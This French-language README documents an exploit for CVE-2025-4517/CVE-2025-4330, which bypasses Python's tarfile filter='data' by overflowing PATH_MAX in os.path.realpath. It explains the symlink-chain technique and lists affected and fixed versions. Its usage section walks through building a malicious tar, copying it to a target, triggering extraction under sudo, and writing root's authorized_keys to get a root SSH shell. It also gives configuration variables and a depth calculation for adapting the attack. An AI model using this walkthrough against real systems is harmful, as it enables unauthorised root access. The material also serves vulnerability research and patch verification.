
Contournement du filtre de données tarfile Python via un débordement de PATH_MAX dans os.path.realpath() - CVE-2025-4517 / CVE-2025-4330
tarfile de Python via dépassement de PATH_MAXAuteur : 0xDTC CVE : CVE-2025-4517 / CVE-2025-4330 Avis de sécurité : GHSA-6r6c-684h-9j7p Correctif CPython : PR #135037
La fonction tarfile.extractall(filter="data") de Python est censée extraire en toute sécurité des archives tar en empêchant les traversées de chemin (chemins absolus, séquences .. et liens symboliques s'échappant de la destination). Cependant, un bogue dans os.path.realpath(strict=False) permet de contourner complètement ce filtre.
Lorsque le chemin résolu dépasse PATH_MAX (4096 octets sous Linux), os.path.realpath() cesse silencieusement de résoudre les liens symboliques et revient à une manipulation de chaînes. Cela signifie qu'une chaîne de liens symboliques soigneusement conçue peut tromper Python en lui faisant croire qu'un lien symbolique se résout à l'intérieur du répertoire d'extraction alors qu'il s'échappe en réalité vers /.
| Branche | Affectée | Corrigée dans |
|---|---|---|
| 3.12.x | 3.12.0 - 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 - 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 - 3.14.0a7 | 3.14.0b1 |
L'exploit construit une archive tar contenant :
realpath.L'idée centrale : suivre a/b/c/.../p à travers des liens symboliques courts reste sous PATH_MAX, mais realpath développe chacun d'eux en un vrai nom de répertoire d'environ 240 caractères. Au moment où il atteint le lien de 254 caractères, le chemin résolu dépasse 4096 octets et realpath abandonne — retournant silencieusement un résultat incorrect.
flowchart TD
A["Attaquant crée un tar malveillant"] --> B["Le tar contient :
16 paires dir/lien sym.
Lien sym. d'échappement de 254 car.
Lien sym. 'escape' vers /
Fichier de charge utile"]
B --> C["La cible extrait avec
tarfile.extractall(filter='data')"]
C --> D{"Python résout les liens sym.
via os.path.realpath()"}
D --> E["Suit les liens sym. courts a→ddd...d
Le chemin résolu grandit à chaque étape"]
E --> F{"Longueur du chemin résolu
> PATH_MAX (4096) ?"}
F -->|"Non (normal)"| G["realpath résout correctement
Lien sym. bloqué par le filtre ✓"]
F -->|"Oui (dépassement !)"| H["realpath ARRÊTE de résoudre
Revient à une manipulation de chaînes"]
H --> I["Python pense que le lien sym.
se résout DANS le répertoire d'extraction"]
I --> J["Le filtre LAISSE PASSER le lien sym. ✗"]
J --> K["L'OS suit correctement le lien sym.
'escape' se résout en /"]
K --> L["Charge utile écrite dans
un fichier arbitraire sur le disque"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fff
sequenceDiagram
participant A as Machine attaquante
participant T as Machine cible
Note over A: Phase 1 — Préparation
A->>A: Générer une paire de clés SSH (ssh-keygen)
A->>A: Configurer les variables de l'exploit<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
A->>A: Exécuter CVE-2025-4517.py ou .go<br/>pour générer le tar malveillant
Note over A,T: Phase 2 — Livraison
A->>T: Transférer le tar malveillant vers la cible<br/>(scp, wget, curl, ftp, etc.)
T->>T: Placer le tar dans un emplacement accessible<br/>au script vulnérable
Note over T: Phase 3 — Exploitation
T->>T: Déclencher l'extraction via le<br/>script Python vulnérable
T->>T: Python appelle tarfile.extractall(filter="data")
Note over T: Ce que Python voit vs la réalité
T->>T: realpath() dépasse PATH_MAX
T->>T: Le filtre pense que le lien « escape » est sûr
T->>T: L'OS suit « escape » → se résout en /
T->>T: Charge utile écrite dans /root/.ssh/authorized_keys
Note over A,T: Phase 4 — Accès
A->>T: SSH en tant que root en utilisant la clé écrite
T-->>A: Shell root obtenu
graph LR
subgraph "Membres du tar (extraits dans l'ordre)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16 niveaux..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 escape/root/.ssh/authorized_keys<br/>(contenu de la charge utile)"]
end
S1 -.->|"chemin court<br/>reste petit"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254 caractères pousse<br/>au-delà de PATH_MAX"| S5
S5 -.->|"se résout en /"| F1
Les deux scripts comportent une section de configuration en haut avec ces variables :
Option A : Python
# 1. Générer une paire de clés SSH
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Modifier CVE-2025-4517.py — mettre à jour DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT
# 3. Générer le tar malveillant
python3 CVE-2025-4517.py
# 4. Transférer vers la cible
scp backup_99.tar user@target:/path/to/backups/
Option B : Go
# 1. Générer une paire de clés SSH
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Modifier CVE-2025-4517.go — mettre à jour destDir, depthToRoot, payload, output
# 3. Générer le tar malveillant
go run CVE-2025-4517.go
# 4. Transférer vers la cible
scp backup_99.tar user@target:/path/to/backups/
# Déclencher l'extraction via le script Python vulnérable
# La commande exacte dépend de la façon dont le script cible est invoqué
# Exemple :
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# SSH en tant que root en utilisant la clé placée
ssh -i root_key root@target
Comptez le nombre de répertoires de / jusqu'à votre chemin d'extraction :
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
Tout script Python utilisant tarfile.extractall() avec filter="data" sur une version affectée est potentiellement exploitable :
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # VULNÉRABLE
Le filter="data" a été introduit comme mesure de sécurité pour prévenir les attaques par traversée de chemin dans les archives tar. Paradoxalement, la vulnérabilité réside dans le mécanisme même (os.path.realpath) sur lequel le filtre s'appuie pour valider les cibles des liens symboliques.
Cet outil est fourni uniquement pour les tests de sécurité autorisés, les fins éducatives et la recherche. Ne l'utilisez que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur n'est pas responsable d'une mauvaise utilisation de cet outil.
| Variable | Description | Exemple |
|---|
DEST_DIR | Chemin complet vers le répertoire d'extraction sur la cible | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | Nombre de répertoires de / à DEST_DIR | 4 pour /opt/app/staging/dir/ |
TARGET_FILE | Fichier à écrire, relatif à / | root/.ssh/authorized_keys |
PAYLOAD | Contenu à écrire dans le fichier cible | Votre clé publique SSH |
OUTPUT | Nom du fichier tar de sortie | Doit correspondre au motif attendu par la cible |